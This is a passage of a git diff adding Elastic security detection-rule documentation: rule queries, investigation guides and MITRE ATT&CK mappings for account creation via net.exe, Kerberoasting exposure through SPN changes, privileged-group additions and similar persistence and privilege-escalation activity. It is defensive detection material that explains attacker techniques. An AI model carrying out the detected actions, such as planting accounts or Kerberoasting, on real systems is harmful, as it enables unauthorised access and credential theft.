({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Windows User Privilege Elevation Activity* + + +In Windows environments, privilege elevation tools like 'runas' allow users to execute programs with different user credentials, typically used by administrators. Adversaries exploit this to gain elevated access, often indicating account compromise. The detection rule leverages machine learning to identify atypical usage patterns of such tools, flagging potential unauthorized privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the specific user account involved in the alert to determine if it is a regular user or an administrator, as privilege elevation is more common among administrators. +- Check the timestamp of the alert to correlate with any known scheduled tasks or administrative activities that might explain the use of privilege elevation tools. +- Investigate the source IP address and device from which the privilege elevation attempt was made to verify if it aligns with the user's typical access patterns. +- Examine recent login activity for the user account to identify any unusual or unauthorized access attempts that could indicate account compromise. +- Look for any other security alerts or logs related to the same user or device around the time of the alert to gather additional context on potential malicious activity. +- Assess whether there have been any recent changes to user permissions or group memberships that could have facilitated the privilege elevation. + + +*False positive analysis* + + +- Regular administrative tasks by domain or network administrators can trigger false positives. To manage this, create exceptions for known administrator accounts frequently using the runas command. +- Scheduled tasks or scripts that require privilege elevation might be flagged. Identify and exclude these tasks from monitoring if they are verified as safe and necessary for operations. +- Software updates or installations that require elevated privileges can also cause alerts. Maintain a list of approved software and update processes to exclude them from triggering the rule. +- Training or testing environments where privilege elevation is part of routine operations may generate false positives. Exclude these environments from the rule's scope to prevent unnecessary alerts. +- Third-party applications that use privilege elevation for legitimate purposes should be reviewed and, if deemed safe, added to an exception list to avoid repeated false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Revoke any elevated privileges granted to the compromised account and reset its password to prevent further misuse. +- Conduct a thorough review of recent activity logs for the affected account to identify any unauthorized actions or data access. +- Notify the security team and relevant stakeholders about the incident for awareness and potential escalation. +- Restore any altered or compromised system configurations to their original state using backups or system snapshots. +- Implement additional monitoring on the affected system and account to detect any further suspicious activity. +- Review and update access controls and privilege management policies to minimize the risk of similar incidents in the future. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Windows + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Windows Integration Setup* + +The Windows integration allows you to monitor the Windows OS, services, applications, and more. + + +*The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Windows” and select the integration to see more details about it. +- Click “Add Windows”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/windows[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-account-creation.asciidoc new file mode 100644 index 0000000000..4c41c9ae23 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-account-creation.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-user-account-creation]] +=== User Account Creation + +Identifies attempts to create new users. This is sometimes done by attackers to increase access or establish persistence on a system or domain. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating User Account Creation* + + +Attackers may create new accounts (both local and domain) to maintain access to victim systems. + +This rule identifies the usage of `net.exe` to create new accounts. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify if the account was added to privileged groups or assigned special privileges after creation. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Account creation is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Related rules* + + +- Creation of a Hidden Local User Account - 2edc8076-291e-41e9-81e4-e3fcbc97ae5e +- Windows User Account Creation - 38e17753-f581-4644-84da-0d60a8318694 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Delete the created account. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : ("net.exe", "net1.exe") and not process.parent.name : "net.exe") and + (process.args : "user" and process.args : ("/ad", "/add")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1136.002 +** Reference URL: https://attack.mitre.org/techniques/T1136/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-account-exposed-to-kerberoasting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-account-exposed-to-kerberoasting.asciidoc new file mode 100644 index 0000000000..d334c38535 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-account-exposed-to-kerberoasting.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-user-account-exposed-to-kerberoasting]] +=== User account exposed to Kerberoasting + +Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a user to configure Service Principle Names (SPNs) so that they can perform Kerberoasting. Administrators can also configure this for legitimate purposes, exposing the account to Kerberoasting. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thehacker.recipes/ad/movement/access-controls/targeted-kerberoasting +* https://www.qomplx.com/qomplx-knowledge-kerberoasting-attacks-explained/ +* https://www.thehacker.recipes/ad/movement/kerberos/kerberoast +* https://attack.stealthbits.com/cracking-kerberos-tgs-tickets-using-kerberoasting +* https://adsecurity.org/?p=280 +* https://github.com/OTRF/Set-AuditRule + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating User account exposed to Kerberoasting* + + +Service Principal Names (SPNs) are names by which Kerberos clients uniquely identify service instances for Kerberos target computers. + +By default, only computer accounts have SPNs, which creates no significant risk, since machine accounts have a default domain policy that rotates their passwords every 30 days, and the password is composed of 120 random characters, making them invulnerable to Kerberoasting. + +A user account with an SPN assigned is considered a service account, and is accessible to the entire domain. If any user in the directory requests a ticket-granting service (TGS), the domain controller will encrypt it with the secret key of the account executing the service. An attacker can potentially perform a Kerberoasting attack with this information, as the human-defined password is likely to be less complex. + +For scenarios where SPNs cannot be avoided on user accounts, Microsoft provides the Group Managed Service Accounts (gMSA) feature, which ensures that account passwords are robust and changed regularly and automatically. More information can be found https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview[here]. + +Attackers can also perform "Targeted Kerberoasting", which consists of adding fake SPNs to user accounts that they have write privileges to, making them potentially vulnerable to Kerberoasting. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate if the target account is a member of privileged groups (Domain Admins, Enterprise Admins, etc.). +- Investigate if tickets have been requested for the target account. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- The use of user accounts as service accounts is a bad security practice and should not be allowed in the domain. The security team should map and monitor any potential benign true positive (B-TP), especially if the account is privileged. Domain Administrators that define this kind of setting can put the domain at risk as user accounts don't have the same security standards as computer accounts (which have long, complex, random passwords that change frequently), exposing them to credential cracking attacks (Kerberoasting, brute force, etc.). + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. Prioritize privileged accounts. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + +The above policy does not cover User objects, so set up an AuditRule using https://github.com/OTRF/Set-AuditRule. +As this specifies the servicePrincipalName Attribute GUID, it is expected to be low noise. + +``` +Set-AuditRule -AdObjectPath 'AD:\CN=Users,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID f3a64788-5306-11d1-a9c5-0000f80367c1 -AuditFlags Success +``` + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:5136 and host.os.type:"windows" and winlog.event_data.OperationType:"%%14674" and + winlog.event_data.ObjectClass:"user" and + winlog.event_data.AttributeLDAPDisplayName:"servicePrincipalName" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-added-to-privileged-group-in-active-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-added-to-privileged-group-in-active-directory.asciidoc new file mode 100644 index 0000000000..8ed4ca85b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-added-to-privileged-group-in-active-directory.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-20-user-added-to-privileged-group-in-active-directory]] +=== User Added to Privileged Group in Active Directory + +Identifies a user being added to a privileged group in Active Directory. Privileged accounts and groups in Active Directory are those to which powerful rights, privileges, and permissions are granted that allow them to perform nearly any action in Active Directory and on domain-joined systems. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs + +*Version*: 216 + +*Rule authors*: + +* Elastic +* Skoetting + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating User Added to Privileged Group in Active Directory* + + +Privileged accounts and groups in Active Directory are those to which powerful rights, privileges, and permissions are granted that allow them to perform nearly any action in Active Directory and on domain-joined systems. + +Attackers can add users to privileged groups to maintain a level of access if their other privileged accounts are uncovered by the security team. This allows them to keep operating after the security team discovers abused accounts. + +This rule monitors events related to a user being added to a privileged group. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should manage members of this group. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This attack abuses a legitimate Active Directory mechanism, so it is important to determine whether the activity is legitimate, if the administrator is authorized to perform this operation, and if there is a need to grant the account this level of privilege. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If the admin is not aware of the operation, activate your Active Directory incident response plan. +- If the user does not need the administrator privileges, remove the account from the privileged group. +- Review the privileges of the administrator account that performed the action. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.action == "added-member-to-group" and +( + group.id : "S-1-5-21*" and + ( + group.name : ( + "Admin*", + "Domain Admins", + "Enterprise Admins", + "Backup Admins", + "Schema Admins", + "DnsAdmins", + "Exchange Organization Administrators", + "Print Operators", + "Server Operators", + "Account Operators" + ) + ) or + ( + group.id : ( + "S-1-5-21-*-544", + "S-1-5-21-*-512", + "S-1-5-21-*-519", + "S-1-5-21-*-551", + "S-1-5-21-*-518", + "S-1-5-21-*-1101", + "S-1-5-21-*-1102", + "S-1-5-21-*-550", + "S-1-5-21-*-549", + "S-1-5-21-*-548" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-added-to-the-admin-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-added-to-the-admin-group.asciidoc new file mode 100644 index 0000000000..dea25588f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-added-to-the-admin-group.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-user-added-to-the-admin-group]] +=== User Added to the Admin Group + +Identifies users being added to the admin group. This could be an indication of privilege escalation activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-jamf_protect* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.loobins.io/binaries/dscl/ +* https://managingosx.wordpress.com/2010/01/14/add-a-user-to-the-admin-group-via-command-line-3-0/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Jamf Protect +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Thijs Xhaflaire + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +To thoroughly investigate the actions that occurred **after a user was elevated to administrator**, it's essential to conduct a search on the Timeline. This allows you to review and understand the sequence of events that followed the elevation, helping to identify any potentially malicious or unauthorized activities that might have taken place. **Analyzing these actions is crucial for maintaining security and ensuring that the elevation was not exploited for harmful purposes.** + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + +**Consider reviewing these actions:** + +- Have persistency items been added? +- Is any software installed after elevation? +- Were any additional users created after elevation? + +!{investigate{"label":"Show events after Privilege Escalation","providers":[[{"excluded":false,"field":"host.hostname","queryType":"phrase","value":"{{host.hostname}}","valueType":"string"}]],"relativeFrom":"now","relativeTo":"now+30m"}} +!{investigate{"label":"Show events having the same reponsible process","providers":[[{"excluded":false,"field":"host.hostname","queryType":"phrase","value":"{{host.hostname}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.group_leader.entity_id}}","valueType":"string"}]]}} +!{investigate{"label":"Show events having the same parent process","providers":[[{"excluded":false,"field":"host.hostname","queryType":"phrase","value":"{{host.hostname}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]]}} + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Jamf Protect. + + +*Jamf Protect Integration Setup* + +Jamf Protect is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events incoming events and send data to the Elastic. + + +*Prerequisite Requirements:* + +- Fleet is required for Jamf Protect. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Jamf Protect integration:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Jamf Protect" and select the integration to see more details about it. +- Click "Add Jamf Protect". +- Configure the integration name. +- Click "Save and Continue". + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where host.os.type == "macos" and event.type == "change" and + event.action == "od_group_add" and group.name:"admin" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-detected-with-suspicious-windows-process-es.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-detected-with-suspicious-windows-process-es.asciidoc new file mode 100644 index 0000000000..8d6ad64474 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-detected-with-suspicious-windows-process-es.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-user-detected-with-suspicious-windows-process-es]] +=== User Detected with Suspicious Windows Process(es) + +A machine learning job combination has identified a user with one or more suspicious Windows processes that exhibit unusually high malicious probability scores. These process(es) have been classified as malicious in several ways. The process(es) were predicted to be malicious by the ProblemChild supervised ML model. If the anomaly contains a cluster of suspicious processes, each process has the same user name, and the aggregate score of the event cluster was calculated to be unusually high by an unsupervised ML model. Such a cluster often contains suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/problemchild +* https://www.elastic.co/security-labs/detecting-living-off-the-land-attacks-with-new-elastic-integration + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Living off the Land Attack Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating User Detected with Suspicious Windows Process(es)* + + +The detection leverages machine learning to identify clusters of Windows processes with high malicious probability, often linked to tactics like masquerading. Adversaries exploit legitimate tools (LOLBins) to evade detection. This rule uses both supervised and unsupervised ML models to flag unusual process clusters, focusing on user-associated anomalies to uncover potential threats. + + +*Possible investigation steps* + + +- Review the list of processes flagged by the alert to identify any known legitimate applications or tools that might have been misclassified. +- Investigate the user account associated with the suspicious process cluster to determine if there is any history of unusual activity or if the account has been compromised. +- Examine the parent-child relationship of the processes to understand the execution chain and identify any potential masquerading attempts or use of LOLBins. +- Check for any recent changes or updates to the system that might explain the unusual process behavior, such as software installations or updates. +- Correlate the detected processes with any known indicators of compromise (IOCs) or threat intelligence feeds to assess if they are linked to known malicious activity. +- Analyze the network activity associated with the processes to identify any suspicious outbound connections or data exfiltration attempts. + + +*False positive analysis* + + +- Legitimate administrative tools like PowerShell or Windows Management Instrumentation (WMI) may trigger false positives due to their frequent use in system management. Users can create exceptions for these tools when used by trusted administrators. +- Software updates or installations often involve processes that mimic suspicious behavior. Exclude these processes by identifying and whitelisting update-related activities from known software vendors. +- Automated scripts or scheduled tasks that perform routine maintenance can be misclassified as malicious. Review and whitelist these tasks if they are part of regular system operations. +- Development environments may spawn multiple processes that resemble malicious clusters. Developers should document and exclude these processes when they are part of legitimate development activities. +- Security software or monitoring tools might generate process clusters that appear suspicious. Ensure these tools are recognized and excluded from analysis to prevent false alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potential malicious activity. +- Terminate the suspicious processes identified by the alert to halt any ongoing malicious actions. +- Conduct a thorough review of the affected user's account for any unauthorized access or changes, and reset credentials if necessary. +- Analyze the use of any identified LOLBins to determine if they were used maliciously and restrict their execution through application whitelisting or policy adjustments. +- Collect and preserve relevant logs and forensic data from the affected system for further analysis and to aid in understanding the scope of the incident. +- Escalate the incident to the security operations center (SOC) or incident response team for a deeper investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and detection rules to identify similar patterns of behavior in the future, focusing on the specific tactics and techniques used in this incident. + +==== Setup + + + +*Setup* + + +The rule requires the Living off the Land (LotL) Attack Detection integration assets to be installed, as well as Windows process events collected by integrations such as Elastic Defend or Winlogbeat. + + +*LotL Attack Detection Setup* + +The LotL Attack Detection integration detects living-off-the-land activity in Windows process events. + + +*Prerequisite Requirements:* + +- Fleet is required for LotL Attack Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration or Winlogbeat(https://www.elastic.co/guide/en/beats/winlogbeat/current/_winlogbeat_overview.html). +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To set up and run Winlogbeat, follow https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html[this] guide. + + +*The following steps should be executed to install assets associated with the LotL Attack Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Living off the Land Attack Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-or-group-creation-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-or-group-creation-modification.asciidoc new file mode 100644 index 0000000000..6a3642d2bd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-user-or-group-creation-modification.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-user-or-group-creation-modification]] +=== User or Group Creation/Modification + +This rule leverages the "auditd_manager" integration to detect user or group creation or modification events on Linux systems. Threat actors may attempt to create or modify users or groups to establish persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating User or Group Creation/Modification* + + +In Linux environments, user and group management is crucial for access control and system administration. Adversaries may exploit this by creating or modifying accounts to maintain unauthorized access. The detection rule utilizes audit logs to monitor successful user or group changes, flagging potential persistence tactics by correlating specific 